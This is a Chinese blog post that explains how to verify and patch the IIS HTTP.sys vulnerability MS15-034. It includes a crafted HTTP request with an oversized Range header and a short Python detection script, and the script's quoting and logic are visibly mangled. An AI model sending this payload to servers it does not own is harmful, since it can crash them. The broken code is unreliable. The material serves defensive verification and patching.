HTTP.sys漏洞验证及防护[通俗易懂]

HTTP.sys漏洞验证及防护[通俗易懂] 使用发包工具构造http请求包检测以fiddler工具为例,构造如下图的请求包:1GEThttp://192.168.174.145/HTTP/1.12Host:192.168.174.1453Range:bytes=0-184467440737095516154Connection:keep-alive5Cache-Control:max-age=06A…

大家好,又见面了,我是你们的朋友全栈君。

 使用发包工具构造http请求包检测 以fiddler工具为例,构造如下图的请求包:

1 GET http://192.168.174.145/ HTTP/1.1
2 Host: 192.168.174.145
3 Range: bytes=0-18446744073709551615
4 Connection: keep-alive
5 Cache-Control: max-age=0
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

HTTP.sys漏洞验证及防护[通俗易懂]

漏洞确认 如果收到服务器返回包如下, 则说明存在此漏洞。建议您尽快制定防护计划,以避免系统在获得加固前遭受攻击。

图片7

 

漏洞验证POC 

#!/usr/bin/env python
__author__ = ';jastra';
class bg_colors:
    VULN = ';33[92m';
    NONVULN= ';33[95m';
    EXPLOIT = ';33[91m';  
try:
    import requests
    import re
except ImportError as ierr:
    print(bg_colors.EXPLOIT + "Error, looks like you don';t have %s installed", ierr)
    
def identify_iis(domain):
    req = requests.get(str(domain))
    remote_server = req.headers[';server';]
        
    if "Microsoft-IIS" in remote_server:
        print(bg_colors.VULN + "[+] 服务是 " + remote_server) 
        ms15_034_test(str(domain))
    else:
        print(bg_colors.NONVULN + "[-] 不是IIS\n可能是: " + remote_server) 
        
def ms15_034_test(domain):
    print(" 启动vuln检查!")
    vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
    req = requests.get(str(domain), params=vuln_buffer)
    if req.headers[';content';] == "请求范围不符合":
        print(bg_colors.EXPLOIT + "[+] 存在漏洞")
    else:
        print(bg_colors.EXPLOIT + "[-] IIS服务无法显示漏洞是否存在. "+
               "需要手动检测")
usr_domain = raw_input("输入域名扫描: ")
identify_iis(usr_domain)

 

 

http.sys漏洞防护

经过上面的漏洞检测步骤后,如果确认您的业务环境中存在http.sys漏洞,那么就需要尽快制定并启动加固方案,这些加固从漏洞补丁开始,到产品防护,到整体防护,逐步推进。

漏洞加固

使用IIS的用户,可以通过Windows Update的方式获得对应的KB3042553热修补补丁,建议用户开启自动更新服务以及时安装最新补丁,相关公告请见:

http.sys漏洞补丁公告:http://technet.microsoft.com/security/bulletin/MS15-034

如果您的业务系统暂时还无法升级补丁,那么可通过禁用IIS 内核缓存来临时缓解此漏洞的危险,但需要注意这可能会导致IIS性能下降,具体的执行方法可以参考:

http.sys漏洞缓解方案:https://technet.microsoft.com/zh-cn/library/cc731903(v=ws.10).aspx

IIS加固

虽然IIS7中http.sys已经独立出来成为系统级驱动程序,但以史为鉴,建议用户在安装补丁的同时也需要考虑IIS加固事项,具体的最佳实践请参考:

IIS7加固方案: https://technet.microsoft.com/zh-cn/library/cc731278(WS.10).aspx

 

参考博文地址:

http://www.ijiandao.com/safe/cto/12829.html

http://www.freebuf.com/articles/system/64185.html

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/161426.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 解决WinHTTP Web Proxy Auto-Discovery Service无法启动问题

    解决WinHTTP Web Proxy Auto-Discovery Service无法启动问题需要启动该服务的起因是需要抓包,所以下载了charles,但无任何抓包信息,也没有错误提示,未查到原因。遂又下载了fiddler,此时启动会提示“FailedtoregisterFiddlersasthesystemproxy”,上网查原因是WinHTTPWebProxyAuto-DiscoveryService该服务没有启动,到服务中查询确实如此。解决方案(此为对我生效的解决方案,关联服务未启动等其他问题导致也是有可能的):win+Rregedit打开注册表,找到\HK

    2022年6月21日
    910
  • java swing图形化界面_javagui界面设计

    java swing图形化界面_javagui界面设计JavaSwingGUI图形界面窗口开发基础教程,本教程将系统性地详细介绍Swing开发中常用的一些组件、布局管理器等相关知识技术,并且每章节都将通过代码实例展示实际应用。Swing是Java为图形界面应用开发提供的一组工具包,是Java基础类的一部分。Swing包含了构建图形界面(GUI)的各种组件,如:窗口、标签、按钮、文本框等。Swing提供了许多比AWT更好的屏幕显示元素,使用纯Java实现,能够更好的兼容跨平台运行。JavaSwing图形界面开发目录

    2022年8月23日
    9
  • sql模糊查询 like[通俗易懂]

    sql模糊查询 like[通俗易懂]like经常与where字句和通配符在一块进行使用,表示像啥啥,模糊查询通配符主要是_和%  %百分号表示零个,一个或多个字符  _下划线表示单个字符**注意:**1、MSAccess使用问号(?)而不是下划线(_)2、百分号和下划线也可以组合使用!   3、可以使用AND或OR运算符组合任意数量的条件语法:select*from表名where字段…

    2022年4月27日
    67
  • Java 泛型擦除_泛型和泛型擦除

    Java 泛型擦除_泛型和泛型擦除Java泛型擦除机制

    2022年10月21日
    5
  • virtualbox增强功能-VBoxGuestAdditions安装

    virtualbox增强功能-VBoxGuestAdditions安装小白的艰辛历程,记录点点滴滴,聚少成多。1、准备virtualbox增强功能VBoxGuestAdditions.iso默认安装virtualbox时就没有增强功能的iso自行下载VBoxGuestAdditions.iso备用如还是没有可以去官网另外下载http://download.virtualbox.org/virtualbox/5.0.2/VBoxGuestAdditions_5.0.2.iso还可以在VBox工具中添加扩展功能,此处仅使用外部添加。2、在virtualb..

    2022年6月24日
    88
  • oracle中拼接字符串_oracle 连接字符串

    oracle中拼接字符串_oracle 连接字符串1.listagg   该方法拼接后是varchar2类型,有最大长度限制,在OracleDatabase中,VARCHAR2字段类型,最大值为4000;PL/SQL中VARCHAR2变量类型,最大字节长度为32767。   适用场景:当要拼接的字符较少时使用。select’select’||col||’from’||table_name||’;’…

    2022年9月20日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号